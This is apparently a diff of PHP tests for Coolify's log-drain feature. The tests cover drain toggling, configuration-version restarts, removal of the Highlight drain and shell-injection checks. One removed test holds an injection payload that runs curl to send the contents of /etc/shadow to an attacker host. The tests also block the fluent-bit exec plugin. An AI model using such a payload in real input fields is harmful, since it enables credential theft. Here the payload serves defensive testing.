->set('logDrainCloudwatchGroup', 'coolify')
->set('logDrainCloudwatchRegion', 'us-east-1')
->call('toggleLogDrain', 'cloudwatch');
$settings = $this->server->settings->fresh();
expect($settings->is_logdrain_highlight_enabled)->toBeFalsy()
->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue();
});
it('keeps the legacy Highlight drain when saving without enabling another drain', function () {
StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok');
$this->server->settings->update(['is_logdrain_highlight_enabled' => true]);
Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid])
->set('logDrainCloudwatchGroup', 'coolify')
->set('logDrainCloudwatchRegion', 'us-east-1')
->call('submit')
->assertDispatched('success');
expect($this->server->settings->fresh()->is_logdrain_highlight_enabled)->toBeTruthy();
});
it('rejects a save that would enable two log drains at once', function () {
StartLogDrain::mock()->shouldNotReceive('handle');
$this->server->settings->update([
@@ -0,0 +1,179 @@
<?php
use App\Actions\Server\StartLogDrain;
use App\Jobs\PushServerUpdateJob;
use App\Jobs\ServerCheckJob;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Notification;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Queue;
use Illuminate\Support\Facades\Storage;
use Symfony\Component\Yaml\Yaml;
uses(RefreshDatabase::class);
beforeEach(function () {
Server::flushIdentityMap();
Cache::flush();
Notification::fake();
Storage::fake('ssh-keys');
Storage::fake('ssh-mux');
config(['constants.ssh.mux_enabled' => false]);
InstanceSettings::forceCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
'name' => 'log-drain-server',
'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id,
]);
$this->server->settings()->update([
'is_reachable' => true,
'is_usable' => true,
'is_logdrain_axiom_enabled' => true,
'logdrain_axiom_dataset_name' => 'dataset',
'logdrain_axiom_api_key' => 'key',
]);
});
function sentinelPushWithLogDrain(Server $server, array $labels): void
{
(new PushServerUpdateJob($server->fresh(), [
'containers' => [
['name' => 'coolify-log-drain', 'state' => 'running', 'health_status' => 'unknown', 'labels' => ['coolify.managed' => 'true', ...$labels]],
],
'filesystem_usage_root' => ['used_percentage' => 10],
]))->handle();
}
function serverCheckWithLogDrain(Server $server, array $labels): void
{
$job = new ServerCheckJob($server->fresh());
$job->containers = collect([
['Name' => '/coolify-log-drain', 'State' => ['Status' => 'running'], 'Config' => ['Labels' => ['coolify.managed' => 'true', ...$labels]]],
]);
(fn () => $this->checkLogDrainContainer())->call($job);
}
/**
* @return Collection<int, string>
*/
function startLogDrainScripts(Server $server): Collection
{
$scripts = new Collection;
Process::fake(function ($process) use ($scripts) {
$scripts->push(remoteProcessScript($process));
return Process::result();
});
StartLogDrain::run($server->fresh());
return $scripts;
}
function generatedLogDrainFile(Collection $scripts, string $file): string
{
preg_match("/echo '([A-Za-z0-9+\\/=]*)' \\| base64 -d \\| tee \\S+\\/".preg_quote($file, '/').' /', $scripts->implode("\n"), $matches);
return base64_decode($matches[1]);
}
it('restarts a log drain that an older Coolify version started, once', function () {
Queue::fake();
sentinelPushWithLogDrain($this->server, []);
sentinelPushWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => '0']);
StartLogDrain::assertPushed(1);
});
it('keeps a log drain that has the current configuration', function () {
Queue::fake();
sentinelPushWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => StartLogDrain::CONFIG_VERSION]);
StartLogDrain::assertNotPushed();
});
it('restarts an outdated log drain in the SSH server check, once', function () {
Queue::fake();
serverCheckWithLogDrain($this->server, []);
serverCheckWithLogDrain($this->server, []);
StartLogDrain::assertPushed(1);
});
it('keeps a current log drain in the SSH server check', function () {
Queue::fake();
serverCheckWithLogDrain($this->server, [StartLogDrain::CONFIG_VERSION_LABEL => StartLogDrain::CONFIG_VERSION]);
StartLogDrain::assertNotPushed();
});
it('labels the log drain container with the current configuration version', function () {
$compose = Yaml::parse(generatedLogDrainFile(startLogDrainScripts($this->server), 'docker-compose.yml'));
expect($compose['services']['coolify-log-drain']['labels'])
->toContain(StartLogDrain::CONFIG_VERSION_LABEL.'='.StartLogDrain::CONFIG_VERSION);
});
it('pulls the new image before it removes the running log drain', function () {
$script = startLogDrainScripts($this->server)->implode("\n");
$pull = strpos($script, 'docker-compose.yml pull');
$remove = strpos($script, 'docker rm -f coolify-log-drain');
$start = strpos($script, 'docker-compose.yml up -d');
expect($pull)->toBeInt()
->and($remove)->toBeGreaterThan($pull)
->and($start)->toBeGreaterThan($remove);
});
it('keeps the running log drain when the custom config is not allowed', function () {
$this->server->settings->update([
'is_logdrain_axiom_enabled' => false,
'is_logdrain_custom_enabled' => true,
'logdrain_custom_config' => "[OUTPUT]\n Name exec\n",
]);
$scripts = new Collection;
Process::fake(function ($process) use ($scripts) {
$scripts->push(remoteProcessScript($process));
return Process::result();
});
expect(fn () => StartLogDrain::run($this->server->fresh()))->toThrow(Exception::class, 'exec plugin')
->and($scripts->implode("\n"))->not->toContain('docker rm -f coolify-log-drain');
});
/**
* Fails when the generated log drain files change. Bump StartLogDrain::CONFIG_VERSION, so that the
* server checks restart running log drains with the new files, then update the hash.
*/
it('changes the configuration version when the generated files change', function () {
$hashes = collect([
'newrelic' => ['is_logdrain_axiom_enabled' => false, 'is_logdrain_newrelic_enabled' => true, 'logdrain_newrelic_license_key' => 'key', 'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com/log/v1'],
'axiom' => [],
'custom' => ['is_logdrain_axiom_enabled' => false, 'is_logdrain_custom_enabled' => true, 'logdrain_custom_config' => "[OUTPUT]\n Name stdout\n", 'logdrain_custom_config_parser' => "[PARSER]\n Name p\n"],
])->map(function (array $settings) {
$this->server->settings->update($settings);
$scripts = startLogDrainScripts($this->server);
return collect(['fluent-bit.conf', 'parsers.conf', 'docker-compose.yml', 'README.md'])
->map(fn (string $file) => generatedLogDrainFile($scripts, $file))
->implode("\0");
});
expect([StartLogDrain::CONFIG_VERSION, hash('sha256', $hashes->implode("\0"))])
->toBe(['1', '11916cd1142514c158a6fbe812ce468e3fe80fc79428cef6ba2654c86aa384ba']);
});
@@ -0,0 +1,30 @@
<?php
use App\Actions\Server\StopLogDrain;
use App\Models\Server;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Queue;
use Illuminate\Support\Facades\Schema;
uses(RefreshDatabase::class);
it('stops the Highlight drain container and drops its columns', function () {
Queue::fake();
$migration = require database_path('migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php');
$migration->down();
$team = Team::factory()->create();
$highlight = Server::factory()->create(['team_id' => $team->id]);
$transferred = Server::factory()->create(['team_id' => $team->id, 'server_metadata' => ['transfer' => ['status' => 'transferred']]]);
Server::factory()->create(['team_id' => $team->id]);
DB::table('server_settings')->whereIn('server_id', [$highlight->id, $transferred->id])->update(['is_logdrain_highlight_enabled' => true]);
$migration->up();
StopLogDrain::assertPushed(1);
StopLogDrain::assertPushed(fn (StopLogDrain $action, array $arguments) => $arguments[0]->is($highlight));
expect(Schema::hasColumn('server_settings', 'is_logdrain_highlight_enabled'))->toBeFalse()
->and(Schema::hasColumn('server_settings', 'logdrain_highlight_project_id'))->toBeFalse();
});
@@ -338,8 +338,6 @@ it('creates ServerSetting with all fillable attributes', function () {
'is_logdrain_newrelic_enabled' => true,
'logdrain_newrelic_license_key' => 'nr-license-key-123',
'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com',
'is_logdrain_highlight_enabled' => false,
'logdrain_highlight_project_id' => 'hl-proj-123',
'is_logdrain_axiom_enabled' => true,
'logdrain_axiom_dataset_name' => 'coolify-logs',
'logdrain_axiom_api_key' => 'axiom-key-456',
@@ -17,7 +17,6 @@ it('does not interpolate axiom api key into shell commands', function () {
$settings->is_logdrain_axiom_enabled = true;
$settings->is_logdrain_newrelic_enabled = false;
$settings->is_logdrain_highlight_enabled = false;
$settings->is_logdrain_custom_enabled = false;
$settings->logdrain_axiom_dataset_name = 'test-dataset';
$settings->logdrain_axiom_api_key = $maliciousPayload;
@@ -50,15 +49,6 @@ it('does not interpolate newrelic license key into shell commands', function ()
expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
});
it('does not interpolate highlight project id into shell commands', function () {
$maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
$envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
$envEncoded = base64_encode($envContent);
expect($envEncoded)->not->toContain($maliciousPayload);
});
it('produces correct env file content for axiom type', function () {
$datasetName = 'my-dataset';
$apiKey = 'xaat-abc123-def456';